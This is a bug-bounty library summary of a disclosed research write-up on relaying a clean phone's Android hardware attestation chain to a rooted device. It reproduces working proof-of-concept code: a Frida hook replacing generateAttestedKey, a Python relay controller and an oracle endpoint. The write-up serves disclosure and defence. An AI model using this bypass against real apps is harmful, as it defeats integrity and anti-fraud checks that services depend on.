# Bypassing Android Hardware Attestation from the Analyst's Chair

Android hardware attestation binds a key to a healthy device but not to the requesting process, so a Frida hook relays a clean phone's genuine chain to bypass the gate on a rooted device.

- Payout: Research
- Severity: medium
- Program: Google
- Write-up by: Eric Le Guevel
- Disclosed: 2026-08-10
- Write-up quality: 7/10
- Original: http://blog.quarkslab.com/bypassing-android-hardware-attestation.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-quarkslab-com-bypassing-android-hardware-attestation-html
- Tags: area:mobile domain:mobile impact:integrity impact:privesc kind:research platform:research sev:medium tech:android technique:chained technique:reverse-engineering vuln:access-control vuln:auth-bypass

**Target:** Android app hardware key attestation (KeyMint/Keystore certificate chain)
**Root cause:** The attestation certificate proves a key lives in secure hardware on a locked, verified device and saw the challenge, but nothing in KeyDescription binds it to the transport, session, or the process/device presenting it. Backends that treat attestation as a one-shot gate and never check attestationApplicationId accept a chain produced elsewhere.
**Steps:**
1. Read the honest client flow: `backend.requestNonce()` -> `KeystoreAttestation.generateAttestedKey(challenge)` -> `backend.verify(nonce, key.chainBase64)`.
2. Identify the seam: `generateAttestedKey(challenge: ByteArray): AttestedKey` (or generic choke points `KeyGenParameterSpec.Builder.setAttestationChallenge` and `KeyStore.getCertificateChain`).
3. Stand up a clean oracle app on a stock locked phone exposing `POST /attest {"nonce":"<base64url>"}` returning `{"nonce","chain":[...],"chain_length"}`.
4. Frida hook replaces `generateAttestedKey.implementation`: re-encode challenge with `Base64.encodeToString(challenge, 1|2|8)` (NO_PADDING|NO_WRAP|URL_SAFE), `send({event:'attestation_request', nonce})`, block on `recv('response',...)` + `op.wait()`.
5. Controller posts nonce to clean device `/attest`, gets chain, replies via `script.post({"type":"response","payload":chain})`.
6. Hook returns `AttestedKey.$new(ArrayList(chain), 'StrongBox (relayed)', null)` without ever calling the original method; app forwards chain to `POST /verify` and backend returns valid.
**How found:** Reading the honest client flow to locate the single method where all device-specific behavior is hidden; recognizing that attestation binds a key to a healthy device but not to the process presenting it, so the evidence can be generated on one device and presented from another.
**Exploitation:** Analyst keeps root on the mission phone. The hooked method never touches local Keystore, so the failing local chain is never produced. The backend's nonce is relayed unchanged to a clean phone whose secure hardware signs it with deviceLocked=true and verifiedBootState=Verified; the chain is spliced back into the app and passes signature, root-pinning, challenge-binding and hardware-enforced RootOfTrust checks. Requires one clean phone and works only for one-shot attestation gates.
**Escalation:** If the backend later challenges the client to sign with the attested private key, the relay must proxy signing operations too, turning the one-shot courier into a live proxy.
**Insight:** When a gate's evidence is produced by hardware but consumed by a remote server, look for the seam where the evidence is generated and ask whether anything binds it to the presenting process. Check whether the verifier reads attestationApplicationId and whether attestation is one-shot or requires ongoing proof-of-possession of the attested key.

## Proof of concept (copied exactly from the original report)

**Frida hook replacing generateAttestedKey with relayed chain**

```
KeystoreAttestation.generateAttestedKey.implementation = function (challenge: any) {
 // challenge is the raw nonce bytes. Re-encode to the backend base64url form
 // so the clean device is queried with the exact nonce string it expects.
 const nonce = Base64.encodeToString(challenge, BASE64_URL);

 send({ event: 'attestation_request', nonce: nonce });

 let chain: string[] = [];
 const op = recv('response', (message: any) => {
 chain = (message.payload as string[]) ?? [];
 });
 op.wait();

 const remoteChain = ArrayList.$new();
 chain.forEach((cert) => remoteChain.add(cert));

 // AttestedKey(List<String> chainBase64, String requestedLevel, String? fallbackReason)
 return AttestedKey.$new(remoteChain, 'StrongBox (relayed)', null);
 };
```

**Controller relays nonce to clean device and posts chain back**

```
nonce = payload.get("nonce")
 print(f"[*] Intercepted nonce {nonce}")

 chain = []
 try:
 response = requests.post(base_url, json={"nonce": nonce}, timeout=timeout)
 body = response.json()
 if response.ok and "chain" in body:
 chain = body["chain"]
 except Exception as exc:
 print(f"[!] Server request failed: {exc}")

 # Always answer so the hooked thread never blocks, even on failure.
 script.post({"type": "response", "payload": chain})
```

**Clean oracle /attest endpoint request and response**

```
POST /attest { "nonce": "<base64url>" }
 -> { "nonce": "<base64url>", "chain": ["<der_base64>", ...], "chain_length": <int> }
```

